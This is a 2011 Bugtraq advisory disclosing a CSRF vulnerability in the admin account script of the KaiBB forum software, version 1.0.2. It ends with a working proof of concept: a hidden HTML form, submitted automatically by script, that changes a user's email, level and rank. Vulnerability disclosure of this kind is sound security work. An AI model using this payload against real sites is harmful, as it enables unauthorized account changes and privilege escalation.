bugtraq - HTB22793: XSRF (CSRF) in KaiBB

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Message-Id: <201101270838.p0R8c0ld077064@htbridge.ch>
Date: Thu, 27 Jan 2011 09:38:00 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22793: XSRF (CSRF) in KaiBB

Vulnerability ID: HTB22793
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_kaibb.html
Product: KaiBB
Vendor: Mi-Dia ( http://www.kaibb.co.uk/ ) 
Vulnerable Version: 1.0.2 and probably prior versions
Vendor Notification: 13 January 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "admin/core/account.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?area=users&s=account&a=USERID" method="post">
<input type="hidden" name="regemail" value="email@...mple.com">
<input type="hidden" name="regpass" value="">
<input type="hidden" name="regname" value="test">
<input type="hidden" name="justip" value="0">
<input type="hidden" name="reglevel" value="2">
<input type="hidden" name="rankselect" value="1">
<input type="hidden" name="sfrozen" value="0">
<input type="hidden" name="notes" value="">
<input type="hidden" name="signature" value="">
<input type="submit" id="btn" name="Submit" value="Update">
</form>
<script>
document.getElementById('btn').click();
</script>